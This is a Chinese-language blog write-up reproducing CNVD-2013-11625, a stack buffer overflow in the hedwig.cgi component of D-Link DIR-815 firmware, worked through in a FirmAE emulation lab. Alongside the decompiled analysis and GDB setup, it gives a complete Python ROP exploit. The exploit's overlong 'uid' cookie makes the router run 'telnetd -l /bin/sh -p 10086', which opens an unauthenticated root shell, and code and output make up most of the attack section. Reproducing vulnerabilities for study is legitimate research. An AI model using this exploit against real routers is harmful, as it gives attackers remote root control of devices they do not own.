D-Link-CNVD-2013-11625

韩乔落

漏洞概述

漏洞复现

仿真模拟

检测是否可用FirmAE仿真

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ./run.sh -c D-link vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin
[*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.46.5 (30-Dec-2021)
/bash-static: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
e2fsck 1.46.5 (30-Dec-2021)
[*] infer network start!!!

[IID] 1
[MODE] check
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
[*] cleanup
======================================

使用FirmAE开启Debug模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 ./run.sh -d D-link vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin
[*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] vulnhub/cnvd-2013-11625/DIR-815A1_FW101SSB03.bin already succeed emulation!!!

[IID] 1
[MODE] debug
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
[+] Run debug!
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 1000
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.1 true true 14.319128546 33.992168765
[*] firmware - DIR-815A1_FW101SSB03
[*] IP - 192.168.0.1
[*] connecting to netcat (192.168.0.1:31337)
[+] netcat connected
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
>

仿真成功

image-20240424193433235

漏洞分析

binwalk解压

1
❯ binwalk -Mer DIR-815A1_FW101SSB03.bin --run-as=root

定位漏洞文件

1
2
3
4
5
❯ find . -name hedwig.cgi
./htdocs/web/hedwig.cgi
# 于仿真环境中寻找
/htdocs/web # ls -l | grep hedwig.cgi
lrwxrwxrwx 1 root 0 14 Apr 24 2024 hedwig.cgi -> /htdocs/cgibin

hedwig.cgi/htdocs/cgibin 的符号链接,所以分析cgibin即可。

1
2
3
4
5
6
7
8
9
❯ checksec cgibin
[*] 'cnvd-2013-11625/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root/htdocs/cgibin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

漏洞分析

可以使用 bindiff 来查找修复版本和此版本的差异,从而定位漏洞点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
// main()
if ( !strcmp(v3, "hedwig.cgi") )
{
v8 = (void (__noreturn *)())&hedwigcgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
// hedwigcgi_main()
v0 = getenv("REQUEST_METHOD");
if ( !v0 )
{
v1 = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;
goto LABEL_25;
}
if ( strcasecmp(v0, "POST") ) // 需要发送 POST 请求
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000);
[...]
sess_get_uid(v4);
// cgibin_parse_request() 函数获取了几个环境变量
if ( getenv("CONTENT_TYPE") && (v6 = getenv("CONTENT_LENGTH")) != 0 )
v7 = atoi(v6);
else
v7 = 0;
v21 = sobj_new();
v8 = sobj_new();
v22 = v8;
v9 = -1;
if ( v21 && v8 )
{
v10 = getenv("REQUEST_URI");
[...]
sobj_del(v22);
if ( v9 != -1 )
{
if ( a3 >= v7 )
{
if ( v7 )
{
getenv("CONTENT_TYPE");
v14 = getenv("CONTENT_TYPE");
[...]
// sess_get_uid(v4)
v3 = getenv("HTTP_COOKIE"); // 获取环境变量
[...]
else
{
v6 = 2;
if ( v7 != '=' ) // 对HTTP_COOKIE中=的前后进行了分离:
{
sobj_add_char(v2, v7); // 可以看见,=前面的内容被存入了v2
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == ';' )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++); // 后面的内容被存入了v4
}
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") ) // 最后会对v2中的内容进行一个判断:
goto LABEL_21;
LABEL_18:
++v5;
}
}
if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
string = (char *)sobj_get_string(v4);
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
// 判断等号前的内容是否为uid,判断通过了以后,就会将等号后面的字符串拼接入a1,也就是主函数传进来的参数v4。
result = sobj_add_string(a1, string);
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;
// hedwigcgi_main()
string = (const char *)sobj_get_string(v4);
/* string保存了v4中的字符串,也就是cookie中uid=之后的内容,是可以由用户自由控制的,然而v27数组的大小仅有1024 */
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
xmldbc_del(0, 0, v27);
v7 = fopen("/var/tmp/temp.xml", "w");
if ( !v7 ) // 仿真中存在 /var/tmp 目录,可以绕过
{
v1 = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack )
{
v1 = "no xml data."; // 环境变量REQUEST_URI中有内容即可
goto LABEL_34;
}
[...]
xmldbc_read(0, 2, "/var/tmp/temp.xml");
v19 = fileno(v7);
lockf(v19, 0, 0);
fclose(v7);
remove("/var/tmp/temp.xml");
v20 = (const char *)sobj_get_string(v4);
/* 这里的string仍然是v4,发现v4在两个sprintf之间未被改变过,如果能走到这第二个sprintf的话,
* 那么这里才是真正的溢出漏洞点,因为仍然是v27数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf的内容。
*/
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);

动态调试

查询httpd进程号

1
2
3
/ # ps | grep httpd
2306 root 1560 S httpd -f /var/run/httpd.conf
15635 root 656 S grep httpd

启动 gdbserver

FirAE 选择 run gdbserver,输入httpd 进程号。

1
2
3
[+] target pid : 2306
[+] gdbserver at 192.168.0.1:1337 attach on 2306
[+] run "target remote 192.168.0.1:1337" in host gdb-multiarch
1
2
3
4
5
6
7
8
set architecture mips
# 这个选项用来设置当发生fork或者vfork的时候,GDB将继续调试父进程或者子进程
set follow-fork-mode child
# 这个选项用来控制当fork或者vfork发生的时候,是否detach掉父进程或者子进程
set detach-on-fork off
target remote 192.168.0.1:1337
b _start
c

image-20240424212113025

确定溢出偏移

使用 cyclic 确定偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import http.client
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+cyclic(0x500),
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()

image-20240424220442429

确定libc_base

记得关闭地址随机化,因为真机也不存在随机化。

image-20240425145903905

编写EXP

编写shellcode

宿主机存在 telnetd,可使用telnetd -l /bin/sh -p 10086开启通信通道,-l指定通信程序,-p指定通信端口。我们的任务就变成了通过栈溢出调用 system("telnetd -l /bin/sh -p 10086");

MIPS架构存在“流水线效应”,简单来说,就是本应该顺序执行的几条命令却同时执行了,其还存在缓存不一致性(cache incoherency)的问题。

首先举例说说 “流水线效应” ,最常见的就是跳转指令(如jalr)导致的分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽,当它跳转指令填充好跳转地址,还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了,可以认为是它会先执行跳转指令的后一条指令,然后再跳转

再来说说 “缓存不一致性” 的问题,指的是:指令缓存区(Instruction Cache)和数据缓存区(Data Cache)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep函数,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep一下。

1
2
.text:0000AE90                 .globl execve
.text:00053200 # int __fastcall system(int)

system函数地址末尾为\x00会被sprintf截断,使用execve函数需要控制其第二个和第三个参数为0。

接下来可以使用ropper寻找控制$a0的指令和jr/jalr指令。

1
0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5

利用这段 gadget,控制 $sp+0x10 == argv1_addr$s0 == system_addr即可。但由于 system 函数末一字节为\x00,所以需要修改其地址保存在临时寄存器,然后找其他gadget对其进行修正。

1
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1

这段gadget jalr $t9跳转的下一条指令是$s0 += 1

接下来可以构造shellcode了,在$s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先执行0x158c8这段gadget,跳转到0x159cc这段gadget的同时$s0++,变为system的地址。接着执行0x159cc,将”argv1_addr“传入$s5$s0此时为system_addrjalr $t9时也执行mov $a0, $s5,成功执行system("telnetd -l /bin/sh -p 55557")

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import http.client
from pwn import *
context.arch='mips'
context.bytes='32'
context.binary='./cgibin'
context.endian='little'

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
#libc基地址
libc_base = 0x77f34000
#gadget
gadget_1 = libc_base + 0x159cc
gadget_2 = libc_base + 0x158c8
system_addr_sub_1 = libc_base + 0x531ff
# s0,s5,sp+0x10的偏移可以用cyclici计算
payload = cyclic(0x3cd) + p32(system_addr_sub_1) + p32(gadget_1)*8 + p32(gadget_2)*5 + b"telnetd -l /bin/sh -p 10086"

headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': b'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}

conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)

response = conn.getresponse()

print(response.status, response.read().decode())

conn.close()

运行结果

image-20240425171824614

  • Title: D-Link-CNVD-2013-11625
  • Author: 韩乔落
  • Created at : 2024-04-24 17:38:30
  • Updated at : 2024-09-05 14:57:28
  • Link: https://jelasin.github.io/2024/04/24/D-Link-CNVD-2013-11625/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments